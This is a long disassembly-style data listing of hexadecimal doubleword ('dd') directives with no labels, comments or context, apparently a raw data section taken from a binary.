		dd 0F464F20Bh, 40C2B8FCh, 4056482Fh, 12571938h,	4682DE6h
		dd 1F325CB0h, 440B0253h, 551C83F7h, 1D83AEAh, 461CDB40h
		dd 2F86F010h, 1809943h,	0C98B083h, 4086EDD8h, 2AA3049Ch
		dd 0BA6048F0h, 20DDD710h, 0DA80571h, 4BE2142Fh,	4898A0BCh
		dd 4348B099h, 3378C65Ch, 2773ECE1h, 582FF2EDh, 0F7C9253h
		dd 28648061h, 0B74D1314h, 7764F454h, 186C1558h,	9F4848C3h
		dd 0E66E0019h, 3FE21304h, 0E062972Fh, 8646B130h, 341D0CCh
		dd 28E75230h, 0CD8297D2h, 0D8948C48h, 17589B5Dh, 1004ABADh
		dd 70CD43BDh, 0F184882Ch, 0D6E0D1EFh, 3C360CD3h, 83A80653h
		dd 56C70798h, 8C072F33h, 0FF008E38h, 55A2001h, 3F7274A9h
		dd 0D68017BAh, 0D929E786h, 60E99F1Bh, 0C13C7A23h, 386787EDh
		dd 0EF266D63h, 1F910068h, 2FE755C6h, 0F906AF56h, 3BA2D8FDh
		dd 8C450090h, 9B6EB0C1h, 6300819Dh, 56B1757h, 0E0E7287h
		dd 0C047365Dh, 21814E0Fh, 744DA985h, 68631B10h,	0A03972E0h
		dd 639C92h, 0B996800Ch,	0D803EE74h, 0F8973428h,	0C9A68F02h
		dd 7126E2B5h, 95BAB0F8h, 1D2AEC6Fh, 24948CF2h, 19E80CC9h
		dd 3D602424h, 0C674008h, 0A4140768h, 27C8B6C2h,	0EC54A29Ah
		dd 67B802AEh, 3F0C4C7Bh, 8DF97Dh, 0F677B0C3h, 8FC4DD83h
		dd 28C0A5E8h, 0A782DE07h, 0D5341D29h, 63740DFh,	6DFECF41h
		dd 0EC14FA26h, 8007502Ch, 0E9B58FDDh, 0E7EF9081h, 0E8297061h
		dd 6F366781h, 0E3AED8D2h, 0E1ACBE00h, 1689056Eh, 414E010Bh
		dd 8C6DCF4Fh, 0E7308043h, 5596A024h, 76B01D95h,	0CA47000Ch
		dd 856B104Fh, 0F70524B8h, 3E92257Fh, 14429456h,	8C0212Fh
		dd 0D8EA01E8h, 3C3EDB36h, 568F0820h, 0E4C70775h, 29D983DEh
		dd 0C17C1048h, 2F397F18h
		dd 0B602FDE5h, 0C09A24E1h, 35013875h, 0FE048794h, 0E464AAD8h
		dd 0EB8F2AD6h, 22CB880h, 0DD65973Fh, 0BC9807E7h, 580527Eh
		dd 3B3003A4h, 0DBEF4783h, 8808CC2h, 0B6B0D89Bh,	0F4B01890h
		dd 58C9A231h, 803D254Dh, 303C6185h, 76904B0h, 63C28C13h
		dd 27E00426h, 0A0934D6Fh, 0BB87C1h, 0A465B897h,	45B21650h
		dd 8F304362h, 187A5819h, 72F04CB0h, 0D44459h, 9D53D1FAh
		dd 1A5050Eh, 0FFDA3955h, 0A7E4BD2Fh, 46582248h,	8A888054h
		dd 1E04056h, 9DB9B525h,	648804D8h, 5C04A124h, 9E41C85Fh
		dd 0FE2FD8D0h, 3A20B2ECh, 2AB28F4Ch, 0FC1C378h,	7C9D4124h
		dd 0C0CEC834h, 10ECD424h, 0C1A2AC00h, 4D164FCCh, 0D809806Bh
		dd 74C21EA3h, 8403862h,	5C9015BDh, 8160DE58h, 0E1DCF7C7h
		dd 306DB820h, 3818FB70h, 6203B080h, 0D737AD53h,	0B84783E7h
		dd 0BB8AECCh, 0D9EF3871h, 30C300B0h, 531CA4A8h,	21E13300h
		dd 189EA50Dh, 3FC4B15Bh, 3A80C977h, 0B8603062h,	5C1BC95Eh
		dd 0F038C6ACh, 78B0F28Ch, 0E7513CB5h, 9FFB3187h, 0B671A0D6h
		dd 0FA0A27E1h, 0C849E48Fh, 1B98C780h, 4057B51h,	6DAE088h
		dd 0B2908061h, 3000F26Dh, 49896A5h, 0F08A6280h,	6698C485h
		dd 49CA23Bh, 7AB76E3Dh,	182A9808h, 7856A222h, 0CF7D0088h
		dd 9FA88D07h, 4C0172B0h, 8F95EED0h, 9000697Ah, 8BA31D8h
		dd 4F24D57Ch, 0F93860D0h, 77205478h, 63449644h,	1DC4B96Dh
		dd 53349CFh, 940108D5h,	61742F37h, 0C01EE838h, 0F13FC042h
		dd 0D818C27Eh, 4DCC10DCh, 3D0B7030h, 2AA59E66h,	0B7858482h
		dd 7945ACE0h, 0DE1D2E16h, 7CE5A0C4h, 0E82BC4h, 9585057Ch
		dd 3152EB54h, 0D8EFEA78h, 7E7DE509h, 0B46FB003h, 88678144h
		dd 0B9D56A1Fh, 803F13B0h, 463C8FC4h, 117ED8C9h,	0B09230A8h
		dd 98C4C6C2h, 0D202E2FBh, 38CE0E1h, 0D5E4EE8Fh,	9924BC08h
		dd 8D9A4544h, 0A0EDE304h, 9C1D3B24h, 0CF0F6C10h, 0EEDA86F3h
		dd 68D84818h, 0BB11F93h, 3868B1C0h, 74908DFFh, 0FCB1D898h
		dd 542A283Eh, 4F18B861h, 1830D1D3h, 74508254h, 6D06B8BBh
		dd 0FC718DD4h, 62770E2Eh, 0DD5D47h, 27C322F6h, 10DF45C7h
		dd 8C0C7514h, 302F8198h, 5950F813h, 0C4B40DAAh,	7E680049h
		dd 8ED3F5h, 6602DAD9h, 18F6476Ch, 93E3A16h, 64941800h
		dd 0F9EF53B8h, 8052031h, 1D145010h, 2024616Dh, 15FAEF00h
		dd 2D45810Dh, 602080DDh, 0CB96AD65h, 0D4338F12h, 0F3C75004h
		dd 55FFCCC0h, 935B0020h, 0C95C2759h, 8F14D978h,	8C4CB6h
		dd 0C080E9EEh, 81F33C2Fh, 43C61B8h, 0ECEC0230h,	5071DE52h
		dd 1B8CA180h, 909257BBh, 308F181Ch, 8996502Dh, 0AD17B0A4h
		dd 3C839EA3h, 0FA2CB2Fh, 6362F018h, 726DE7E2h, 395A7478h
		dd 2C2F0047h, 6F900569h, 37C1901Ch, 0E6C77FADh,	40081304h
		dd 0B8933C4Ch, 78423061h, 31689876h, 0D498F445h, 117B0024h
		dd 209C6490h, 6CB482E8h, 0DF6AE840h, 1C249A81h,	0BB840797h
		dd 0E00171D0h, 6DC24E3Fh, 0A8C17090h, 0DCF0F73Eh, 80003827h
		dd 0ACF87E42h, 0C9890A3h, 3226A70Fh, 71EE6081h,	0B8074F51h
		dd 3A9C297Ch, 4198ACE4h, 454742A0h, 1038A280h, 0F85DBBAEh
		dd 87D70709h, 6538A882h, 6A3046C0h, 0C1C73B01h,	27220EDAh
		dd 859F3078h, 0D0E8FC2Fh, 0BA13691Ch, 0E79F3A00h, 4ABB9E03h
		dd 79303CDEh, 82B28h, 23DCD662h, 4F1E6D0Ch, 10B8E258h
		dd 94002F11h, 553B9C8Bh, 0A704C657h, 8C453424h,	857607C0h
		dd 0E64B29F4h, 0FBF3C08Ch, 0D838A2EEh, 0D427DB3Eh, 0C09EBC82h
		dd 4B8FDF9Ch, 300400EEh, 468854EFh, 0E618D701h,	0B072F220h
		dd 207C7E0h, 6D6B3666h,	0F468BC8Ah, 0DCB06905h,	9542E094h
		dd 0B5701B3h, 0CEEFE164h, 0DB652840h, 10D38F18h, 26E2E1A1h
		dd 6024A03Ch, 7A168F86h, 0EC3180h, 10788B05h, 382F7B95h
		dd 6D38AB60h, 0DFA504h,	943947B1h, 0B58FD457h, 0F3E90F41h
		dd 56103033h, 4F36099Ch, 5BF0C4D1h, 47687163h, 4F843DDDh
		dd 37D79C40h, 0C0CCA73h, 65552F89h, 0D4E464C8h,	0A379C616h
		dd 0B9BDA800h, 9B0CA5Fh, 9E8E8C49h, 17942002h, 60F9C702h
		dd 804DFE84h, 0D42E6293h, 5D00983Dh, 6D680BEFh,	90DD6606h
		dd 2CB07855h, 380496h, 52243D4Dh, 157E289h, 434CBBFh, 8FDFF777h
		dd 0E1D78704h, 0FFDD46E9h, 0EEDE29C4h, 0E0437050h, 3FBE0056h
		dd 81585323h, 0F703AAEEh, 7DE9ED59h, 2D22004Eh,	69C85CACh
		dd 767FBA52h, 0D100BE70h, 2EAC1E2h, 0C1E19CE9h,	504DB15Ah
		dd 14B0C852h, 586069F8h, 3D1B6842h, 5A02032Ch, 4245431h
		dd 0DB0BE9A8h, 0C64938CEh, 0F62C8ADFh, 16CA60EEh, 81241C8Bh
		dd 1A04C437h, 0DBCB0103h, 7383DB0Ch, 2C31B16h, 0BFE72887h
		dd 0BB0F6683h, 0E99C81EFh, 0D24B8CC9h, 68B4132Ch, 4F2B4A12h
		dd 46F4D865h, 635FF88Dh, 0E689561Fh, 5A33A099h,	68F03449h
		dd 5118C523h, 0CA504FB9h, 0E5407A6h, 243C8906h,	1F02BFh
		dd 6326C181h, 0E3E910B7h, 0E5277767h, 39072h, 0F6E0B652h
		dd 0B880DE39h, 99F33FC4h, 8B1E37DBh, 4C51C89Eh,	0BA317A33h
		dd 4C0E64A8h, 0CEF6BC0h, 0EC236231h, 0CE702DF7h, 0CAC1DB40h
		dd 3A036071h, 4BE9F901h, 0AD320584h, 5F372F68h,	60D99D5Ch
		dd 5EF1311Ah, 0E9BE30DCh, 81AFA81Ah, 0F942A8C6h, 6FEA8846h
		dd 6C32A1Dh, 2D4AC280h,	389D635h, 0E9455AD5h, 4028ED8Eh
		dd 75209B28h, 0FC5EFC58h, 46506835h, 0ECCA4E2Eh, 85891406h
		dd 5EB7BD00h, 0EBE97D08h, 0F5272D62h, 0BE640AFh, 8932C983h
		dd 62680800h, 0D039E51h, 9A82D58h, 0D9C6144Dh, 0B3867B03h
		dd 0F6DE1151h, 0A6F6100Ch, 9590ADh, 7375193Eh, 348BF029h
		dd 543FBC90h, 85E90D5Ah, 8946C361h, 7C836E8Fh, 48655E4Ah
		dd 0E9C4304Ch, 0C2A80F63h, 691E1305h, 48CC4345h, 4887160Bh
		dd 0F803B3Ch, 0EF68C8B7h, 0F8B72754h, 1FC52544h, 85BFFBB8h
		dd 205DEE01h, 772A6838h, 3FA33DBh, 80D4F60Ah, 63B71ECh
		dd 0D5E407E7h, 539C77E9h, 1EE07EDh, 0CF597453h,	9D1423E9h
		dd 51000684h, 0D1F6A8B1h, 0DE6DDAE9h, 23E10121h, 0DC4648B0h
		dd 6418D7E6h, 0EE1A046Ch, 15A9041Ch, 9324BAE9h,	0D1B9F0A0h
		dd 0C8414064h, 4D98AD3Ch, 1830CD06h, 0EC34AFh, 915C075Bh
		dd 665DE831h, 3ACAFF7Fh, 943DD6C8h, 7ABD8BC6h, 9E5B9D24h
		dd 895710B0h, 0C78124E7h, 3B306259h, 2E8C100h, 4417291h
		dd 368D8F7h, 1C069338h,	39BF3C01h, 0BB1FE93Dh, 7713FBE8h
		dd 5EFFF9Ah, 4BC38026h,	0EB2F8328h, 0B0045AA8h,	2390D8E0h
		dd 451CB40h, 1E477168h,	53A7981Bh, 3D00527Dh, 5A71CA05h
		dd 0E3BE281h, 0C128D81Ah, 185513D2h, 0BCBF68D6h, 0C8384B38h
		dd 9963BF4h, 4F6739h, 76E8550h,	0C3FFA05Fh, 5F73930h, 0CE06DE3Ch
		dd 1DAE278Eh, 1734BD0Ch, 4710C3Ah, 110839Eh, 305487F7h
		dd 36AF7A87h, 9A760C1h,	188057E8h, 75FE37EBh, 0FB62A3E9h
		dd 66BB53D0h, 0C6EF0170h, 10BBE1Ah, 12B344DFh, 20E62D08h
		dd 0FBA95FFFh, 0E83D60CEh, 272A6D02h, 62C68359h, 0E9B081ECh
		dd 6C8FF2A2h, 4860E0C1h, 0CEA3572Dh, 10BB4648h,	0F724409Bh
		dd 4FF1083Dh, 66F82803h, 1896C95Bh, 0DB53129Fh,	8992483Dh
		dd 0BDCABD8Fh, 58BA80F0h, 11FDAFDh, 975FFA2Ch, 0EB53880Ah
		dd 70280E4Fh, 4110CC7Dh, 6C8740Ch, 0F19005Fh, 34FFC0B6h
		dd 8CE9870Ch, 0F2506AC7h, 72019874h, 60F7A48Bh,	0E95C0C8Fh
		dd 0D1926CAAh, 2B2E360Ch, 63ECB473h, 2CEB7D2Ah,	17AA7224h
		dd 0BE54558Eh, 89A8A6ABh, 87180685h, 3E535C2Ah,	0C3AAE389h
		dd 20EB4313h, 0E973A81Ch, 7B72493Ch, 0FAB97267h, 653E43D9h
		dd 0F1E39906h, 489CCBFEh, 0D1348221h, 2D8FC8F0h, 4C663A40h
		dd 0F11C0D58h, 30228380h, 0EAB259CAh, 0D7881E40h, 6948E958h
		dd 17380195h, 6FEC7C47h, 91B58006h, 6F0350CAh, 0A87889C9h
		dd 0B8BABDCh, 9BF188C0h, 7706F422h, 53B2E91Ch, 99CB4C33h
		dd 14DF1A31h, 0DECF4D24h, 0D22DAABAh, 0FAEB07D1h, 0C368C1E1h
		dd 781C630Ch, 68144620h, 18E33B54h, 0D38886DAh,	0A92B0AB0h
		dd 0D202AC7Eh, 61642240h, 52338898h, 552E4342h,	287B2110h
		dd 1B5013B9h, 0C38B0062h, 416724FBh, 0F3004B77h, 99C9404Eh
		dd 925BDD29h, 0F7E91800h, 835F3C66h, 0F91BFCA2h, 9A478A4Ch
		dd 485864EAh, 36168259h, 6FAA2061h, 0CC3A4CEBh,	485D3501h
		dd 0E8F6FD82h, 0EF5758DBh, 0FB5570CDh, 0E7685742h, 24A16616h
		dd 820C04E9h, 286FC680h, 8D3DF860h, 218AEDDDh, 5EB7BF01h
		dd 0A102C5E5h, 0AF2CEF80h, 0EFC66AC3h, 58C3099Fh, 0E08EDC1h
		dd 79DD7FA2h, 1C6F061Fh, 0CE20FD8Bh, 2E016F18h,	0D5087406h
		dd 62AAC151h, 0D10181A3h, 0C09B335Ah, 0D060631h, 110E685Ch
		dd 14F189CFh, 855BAC52h, 0C8976A4Eh, 4CB2B9C1h,	0F8CF01D0h
		dd 690F92A0h, 6D808621h, 418D3394h, 770A0CC9h, 87299005h
		dd 314CCCDDh, 0EA0D06DAh, 285C446Eh, 8481DCE0h,	0BE24C0DDh
		dd 62F07488h, 0F8D6F726h, 0DF590F00h, 58EEC16Fh, 0ED04BF05h
		dd 0C1275103h, 0CC04ACFBh, 0C4DE91Fh, 805A07E6h, 0F53028CDh
		dd 0F0DDF691h, 88AB14EDh, 4D57E8EEh, 9266DE40h,	28AA09Ch
		dd 83C34C30h, 61878F9Eh, 124640Dh, 5EC27E6h, 0A6442054h
		dd 1100A008h, 0EA7C913Ah, 0CE18E2FDh, 0FBB2A00Bh, 0FA4E1D61h
		dd 1ACC6976h, 0F3FD780h, 5EB070CBh, 995F430Bh, 3040314h
		dd 0C3550083h, 502056CDh, 0BE98DA89h, 8F2AD55h,	0E668B0E9h
		dd 5A624050h, 6CB201F7h, 5D9C7088h, 6213B1F1h, 0E8BF89Eh
		dd 3D90665Ch, 87915E68h, 8149E820h, 38A970B6h, 44B2595Fh
		dd 3F3A46F6h, 0ED06B717h, 4E3477F4h, 5842390Ch,	601C612h
		dd 265A6B99h, 0C9C7312Ch, 14451903h, 3080B77Bh,	0CFD38E66h
		dd 33694FF8h, 51FBB801h, 290840B9h, 8B2559CBh, 0DAF5133Ch
		dd 9BE34653h, 0EFEE00F9h, 122E361h, 31E9DE0Ch, 1041A8Bh
		dd 0C07024E7h, 0D3FE03E0h, 0C6280CC8h, 0F52C5802h, 88D84BE9h
		dd 2F4F9091h, 0D33CB851h, 0D0A6EFE0h, 7E8828Dh,	91AE5A21h
		dd 0F7528391h, 0E9160814h, 280B7FE7h, 383896D8h, 0E806B72Ch
		dd 0CF7B5CE9h, 9933E277h, 0F02088CDh, 0FD0F659h, 0C8FEBA2Ch
		dd 0E93619C6h, 97D54450h, 0FDDF7D3Dh, 8716F94Ah, 97339A4Ah
		dd 4C06311Bh, 0D28D840Dh, 0CD249E7h, 334070E7h,	6C01355Ch
		dd 7A80095Eh, 0AD003762h, 0A8546286h, 89C934F6h, 0F39B08C1h
		dd 0A64BD612h, 245D16D1h, 435FE931h, 0C300553Dh, 7C0436C3h
		dd 0FAEB2912h, 935E9A57h, 0BE8F3C22h, 0FB33681h, 1E13031Ah
		dd 0F609FD26h, 418FE44Fh, 8A348B25h, 0BD197D53h, 0C52C7136h
		dd 21E4D5C5h, 745D7DEFh, 0FBE910D1h, 0F7511417h, 815901CEh
		dd 6F7449C9h, 41DADC20h, 1809E7E8h, 843435F0h, 71B4061Ch
		dd 0B90802C2h, 0D6019CF4h, 8399F98Eh, 0DE2470F6h, 9AD3586Ch
		dd 0BE560350h, 3D8B7DE0h, 0DE2C230h, 2C5EF089h,	0C1E9C201h
		dd 87EDE9h, 150893BEh, 0CD814C95h, 0E3639E02h, 17E8293Bh
		dd 6B608FE9h, 6D0F68CFh, 614A4E8Eh, 3D148D8Fh, 622B02B0h
		dd 50467D5Ah, 2EC634C6h, 75A1C213h, 0BA0948E6h,	208A4F15h
		dd 3D3428AEh, 0D6293459h, 0FA081136h, 0C092E913h, 0B05066E9h
		dd 64E61852h, 5D1721Fh,	0DDC9D5F7h, 9C7E87E4h, 0E4FE6376h
		dd 835E400Ch, 4147B6C2h, 12C20050h, 27907877h, 52A52C61h
		dd 145FF68h, 4AEAC759h,	7A188B66h, 81DD7909h, 3E07CD02h
		dd 604D718Ch, 2D11CCAh,	0FD29AFC4h, 177869E9h, 0C3486678h
		dd 0E5EB0D1Fh, 0B8E8D264h, 553A4862h, 1872BF0Fh, 0CF24476Ch
		dd 0E95E8D09h, 5AAF2159h, 0BDC3BE2Ch, 0EF795BC1h, 0C331168Bh
		dd 0EDEBB86h, 19F2E1B8h, 98EFEBE6h, 0A7D27E0Ch,	78790B24h
		dd 4840F5E9h, 423970BFh, 38A6E9B9h, 9C577C86h, 8156E2E2h
		dd 6FB48780h, 6F984AA9h, 6453D4Fh, 9F2020B5h, 64944129h
		dd 1EC3A667h, 0C0A8B6C1h, 69408EEh, 626E605h, 0D8F6099Ah
		dd 2008498Dh, 0A0982002h, 0D3EE8005h, 0CB53A7E9h, 949455C4h
		dd 74358EE3h, 93CD82C5h, 4760DAA9h, 8082C790h, 5D6DC3C2h
		dd 8942139Ah, 519C2CD9h, 80A62CF4h, 92216527h, 0C9D9614Ch
		dd 21434CA0h, 0BDBD6263h, 78100253h, 865B4DE2h,	350F0CF0h
		dd 8571DE89h, 88F7C1F4h, 0A0C360DDh, 46105269h,	5651005Ah
		dd 484D8468h, 0A2CE959h, 8351CDC1h, 7C290CA5h, 5D530948h
		dd 1129C2E1h, 0CB920E8Eh, 0D499215Ch, 0BA100449h, 18034DC0h
		dd 0E6D34D65h, 0DABA0052h, 81783253h, 622667EAh, 0E21F1526h
		dd 42903D41h, 1C97D2F7h, 425252C9h, 4EE8357h, 0C2546A72h
		dd 0FE4829C8h, 7C4D4AEDh, 94A8235Fh, 54E0E6A7h,	33C06F05h
		dd 311A3302h, 0A60D066Bh, 908D310h, 0C04CE99Ch,	7FB28D27h
		dd 8EA25409h, 0F740F101h, 729402C1h, 2C242452h,	9AA12848h
		dd 9CB08h, 0AB7B8BBEh, 0CE2C310Eh, 0E9610C59h, 0F690AE6h
		dd 7E1A56CBh, 0C7839A68h, 833C88A1h, 9BE951EEh,	8C385947h
		dd 0D7E65FC9h, 466A6813h, 91803735h, 0BE15D2h, 2E3C17Dh
		dd 0CD0F381h, 987B542Ch, 8F79061Eh, 0E036B16Ch,	15BD889h
		dd 0F9584CC7h, 0EB570C31h, 0CFF8195Eh, 8A12D128h, 645A7D59h
		dd 0FDF1D141h, 5284C31Fh, 715E28D2h, 4AE98F20h,	59CF27F8h
		dd 8E7C10Eh, 0C496081h,	4BE93C12h, 0B85400DBh, 731C2BA6h
		dd 0DF570501h, 0C321B9FBh, 0F312F72Ch, 9E3014F5h, 21C5D652h
		dd 0D0C352F3h, 850FDB89h, 5A44EB26h, 540477CAh,	95D00BE9h
		dd 3D534EBFh, 0AB247159h, 872997E0h, 9F492D4h, 2A96ACC6h
		dd 0B0D32E8Bh, 4B5451E0h, 0E9AB3359h, 28026FBAh, 578FC8EFh
		dd 81E9AE54h, 0E628E2B5h, 27E10B92h, 0F801AF22h, 224762E1h
		dd 22338928h, 6AD4DED9h, 7FBD143Fh, 7F13345Ch, 0DCDFE031h
		dd 0E7606664h, 0D3C1A0B1h, 8081E0B4h, 0F6A5C2ADh, 0AB0ADA67h
		dd 42B3B40Eh, 0D04B70A8h, 51807927h, 1B22B450h,	44FD19E9h
		dd 0F37B2CFAh, 0CCDE1325h, 0F2BE7F04h, 80D64895h, 95C63EEh
		dd 1ED2683h, 9D31733h, 2D877105h, 3B7FEE7Bh, 746BCA02h
		dd 0A6C06EEBh, 5042E35h, 5FFA2152h, 814A0C80h, 0B8A001F2h
		dd 0D529B4A2h, 48E9FD5Ah, 7F0C14Ch, 0C906693h, 64D8522Ah
		dd 0B383A8ADh, 27171684h, 67B63735h, 0BBD06D48h, 0A73CA22Eh
		dd 0EB402932h, 0DFA623C8h, 14505C3Dh, 4888E389h, 0E087CA73h
		dd 5E826BB4h, 87530729h, 0F95FA7D3h, 815AB9C9h,	68D231D5h
		dd 542C7280h, 812C5D90h, 58F6BD51h, 585B175Dh, 30750C6Ch
		dd 0BF2C173Ch, 8ED28CDh, 17BE92Dh, 61C5BF2Fh, 3E2977F8h
		dd 3F925FFBh, 0F9504F32h, 6B86029Eh, 0DF620DD9h, 554CA446h
		dd 753C044Fh, 0DF8020E9h, 4CC93D1Ah, 0E4065239h, 18549823h
		dd 91603F09h, 24618911h, 0D9C1DE58h, 886089D8h,	3F5F445h
		dd 16A42767h, 0C81CEF01h, 0C62C02C7h, 0F665C60h, 0F9C858BEh
		dd 0BD4D4C7Ah, 42146F81h
		dd 1795EC10h, 0E152A6BEh, 0FC85873Dh, 0F0D7299Ch, 7A40B269h
		dd 5D002F7h, 2EC3180h, 0BF20DB82h, 0B151C30Eh, 69F8C947h
		dd 921E8A54h, 4EA8B9C0h, 78144D6h, 0E203BF1h, 17E16033h
		dd 0FAC6076Fh, 908501C1h, 3FB425B9h, 8802E024h,	0FBFA63DAh
		dd 1C897C65h, 0BCDC4C91h, 9C2F2505h, 1A404C52h,	271414BAh
		dd 6E7ADA93h, 0ACC0FB72h, 11A2378h, 886D968h, 84465B16h
		dd 48CF76E9h, 0AA50AD89h, 61082497h, 7EA109Fh, 0D7338FE2h
		dd 0C7CB0099h, 2F483Fh,	661EB850h, 0C2312DBAh, 68602AB8h
		dd 10F5C679h, 0C746009h, 4B5B7998h, 0F7E8F6F8h,	29447516h
		dd 0AA92CF18h, 4CD70936h, 6D91515Dh, 15293659h,	22860CFEh
		dd 63BE0056h, 81498513h, 721343E6h, 780B0F37h, 5F2E247Ch
		dd 0F420AE89h, 0C814D21Eh, 564108C0h, 0CFB349CFh, 0C181B318h
		dd 402E0C3h, 215D1861h,	52A5E45Fh, 1717BC5Bh, 0C91737C1h
		dd 120FD9B2h, 412BBBE8h, 550D03AEh, 0FB661CF9h,	1579327Bh
		dd 0DECA310Ah, 0D5078664h, 294B5D50h, 89A0899h,	52267928h
		dd 0C3FD040h, 14575EF3h, 0F04E014Ah, 0BD5ABF05h, 0C5FDEFD7h
		dd 0CA595645h, 14495092h, 7490F483h, 73CC8870h,	0E5E36659h
		dd 8079D958h, 0B6528400h, 2E6C049h, 7F6E26E9h, 15C468AFh
		dd 5503B123h, 0F2504CBDh, 0E7EAD024h, 184F013Bh, 97E965C1h
		dd 295B853Ch, 0EAF020F5h, 0D76FAC0Fh, 0E7C2A148h, 1D04592h
		dd 52069ED5h, 3388E1h, 957EC1E9h, 0AD83ABB9h, 273A140Ch
		dd 601BAE9h, 60F9295Fh,	0D17CD930h, 0BA1D514Fh,	14116A4Bh
		dd 264691CDh, 0BCB10ECh, 4C5D5455h, 79EB32A0h, 8DC1520Ah
		dd 0C606A6F2h, 47F0FD09h, 225512EAh, 0E9235D84h, 0B8A3281Dh
		dd 0C1291316h, 82C35958h, 5C169605h, 134295D8h,	932E2D22h
		dd 110D46C7h, 80FA6CE9h, 6513772Ah, 6C5F44EFh, 1079E318h
		dd 800F0C53h, 0D006F5F2h, 0F105C7FBh, 3B2CA78Bh, 0B308FDD5h
		dd 1BC62509h, 25F04C49h, 0F759CC5Eh, 0D4D50E6Ch, 0E0A6503Fh
		dd 7FA602B0h, 186016BBh, 9C1663E9h, 980B4147h, 8AF7B24Dh
		dd 0DB0080AEh, 8153CB62h, 672D0CCEh, 5FE26F4h, 88169870h
		dd 970AF389h, 0E853EA59h, 2A685EF5h, 5B813DFCh,	318012A5h
		dd 80BA1328h, 656BD12h,	7FC14FDAh, 699AFAEDh, 0D38F366Eh
		dd 0CCCA250Bh, 0CE908F50h, 945C942Dh, 5DDD37F2h, 4F5E6017h
		dd 0CC0551Ah, 14EB4E92h, 0C821155Fh, 0FA12F68Bh, 2049B4F2h
		dd 741E2FFh, 0FD08F95Ch, 8D492FE4h, 0EA2C19C2h,	6277A193h
		dd 6655385h, 3229B7ACh,	0B08803ACh, 0F74F0078h,	0ECCF81DFh
		dd 5CD44412h, 0D5EA1707h, 1AE9DDB0h, 2FB916Fh, 40410EE7h
		dd 0A6E335E1h, 0E90BE80Dh, 6676E08Ch, 67B23852h, 5A2CD43Bh
		dd 1D9A1C82h, 59C35DE3h, 3DC41258h, 502C7568h, 8D09EEB0h
		dd 40A79A5Eh, 0BB7D246h, 0A2C780E4h, 0EFAB9F0Eh, 0A9E9CF87h
		dd 8B580961h, 0E02EB670h, 832654C6h, 2A00AED6h,	0BA7D5704h
		dd 174580DFh, 9EA29ADh,	0C9904A8Dh, 6F4C0268h, 0D3E2D274h
		dd 0FB4C9E90h, 0E95E8E0Eh, 63C94E2Bh, 54652B02h, 0AB7471E5h
		dd 0E9309A5Fh, 2DDC292Eh, 4A069620h, 0ECBD1C98h, 0A7E051DAh
		dd 34ECF819h, 5323D031h, 3D10D099h, 114905h, 0B6C72CEh
		dd 0E481EED1h, 4E8EB32h, 68351ABBh, 0B652FCE7h,	0E19D70C4h
		dd 75DAB809h, 58C68902h, 4A407731h, 4C9CD1E0h, 6DBA70A8h
		dd 26FFD35Ch, 1F32BC07h, 0DC9D8146h, 0FCD7E17Dh, 868241C5h
		dd 0EB890156h, 3761715Dh, 257E49C3h, 2F6105Ch, 5B41E651h
		dd 94A44120h, 0FC07E40Dh, 60B808E2h, 371ADA16h,	0A3EF3E0Ah
		dd 40034AB5h, 8190B753h, 4D205BF8h, 7E2C98ACh, 1A1C9402h
		dd 55A306F6h, 6EE64AF2h, 0D4EE4C55h, 0BA9DB807h, 65061213h
		dd 1227A43Dh, 66068147h, 0E446888Fh, 971528B7h,	0B9568792h
		dd 51366841h, 0C4587F23h, 0E286A02h, 66404049h,	0AF2D751Eh
		dd 0F54B807Bh, 12CAF6D5h, 8E809A2h, 431F189Eh, 0E46CF380h
		dd 7E89B441h, 0BDD830D9h, 1629C2C3h, 655CDF24h,	0C381F017h
		dd 0BCDCD031h, 3F0F990Eh, 94353924h, 1601E242h,	0F75EED3Bh
		dd 0C41430D7h, 5B8D5802h, 4005E7C1h, 260EA06Bh,	17A46607h
		dd 0C6AED07Ch, 0C2CA519h, 8A05429h, 8FFF1BB0h, 290E5412h
		dd 5D022463h, 0AE9A1A5Ah, 58492154h, 3B6810B9h,	9E91230h
		dd 37D008C6h, 0CB7B79ACh, 680CE719h, 87D8C947h,	0DE82C38Eh
		dd 9A0F35Bh, 61A1F573h,	0D33FC9BEh, 12EE8834h, 36998980h
		dd 83404AE9h, 8E9C1F1h,	0A8D54046h, 57026596h, 20E9C601h
		dd 0FEC2C8C4h, 2D3C4F8Bh, 520CA12Eh, 7301E98Eh,	2C683C88h
		dd 0CFD36DABh, 1459E82Ch, 0B2F2CCCFh, 5BCDCDE1h, 0A8074703h
		dd 9D9508BCh, 4DE5FAF7h, 2C633B4h, 56BA21BBh, 0D088FE01h
		dd 0E5F1A08h, 0FC96B91Ch, 0CB68342h, 60130AF0h,	125F6839h
		dd 0A665AF89h, 909209C7h, 57080005h, 0F5685150h, 255C7612h
		dd 7042101Fh, 0B55D5C76h, 7C5D55CDh, 98CE4E8Eh,	0A627525Ah
		dd 6438102Ah, 6D5DA656h, 0CDC0134Bh, 62E2E11Ah,	1C87CCA1h
		dd 0C7CB4AE9h, 910D5695h, 0E0C5B6A9h, 4E7D624Ch, 14266B2Dh
		dd 698D91F2h, 0EF4AFCDBh, 4867E725h, 7BE0A776h,	8EBB5D16h
		dd 58FC8634h, 0C8FE4403h, 34E3D0F6h, 0A4DCE2Ch,	0C3A0B49h
		dd 6C7089Ch, 0E9053106h, 0C181E766h, 694CC74Ah,	73C410A3h
		dd 97E5881Fh, 56CC8196h, 5F5AF854h, 9E9C71ACh, 74DBCA42h
		dd 669D405Eh, 7B9CD359h, 20B56188h, 3B72FAC2h, 0EA0249E6h
		dd 15330BAFh, 0A60194E1h, 9F0B896Dh, 84A3CE1Eh,	40681290h
		dd 0F1BFCC47h, 2A95CDB2h, 0FE094DB5h, 92DF6413h, 1436206Eh
		dd 5B2E3E98h, 0E62C231h, 825804B9h, 342417BFh, 0E6730304h
		dd 6451038h, 0ECA3F864h, 3294F79h, 0E96C046Ah, 0CDAAA41Fh
		dd 23C2584Ah, 0AEE5604Dh, 3BBC2756h, 0C1BFDF81h, 3E042B3Ch
		dd 0F7E943E9h, 155E013h, 0D174CAC6h, 49BB206Ch,	682EC882h
		dd 33095E0Fh, 0B3D05202h, 324CEA73h, 0D3FD3013h, 3DDEF65Bh
		dd 0C2255366h, 0CD293182h, 3DC18390h, 83E91997h, 0BCA46405h
		dd 65A0D237h, 4D69419Ah, 0B0292058h, 254B6374h,	5E36AE82h
		dd 0C80F016Dh, 2D31B668h, 1EB48C42h, 52F76288h,	0D23258h
		dd 800467Fh, 8FCE810Eh,	16662B0Fh, 0A03E6C1h, 8B572C63h
		dd 73C55258h, 5AB32027h, 9A548D68h, 4CA7201Eh, 0FDF5801Fh
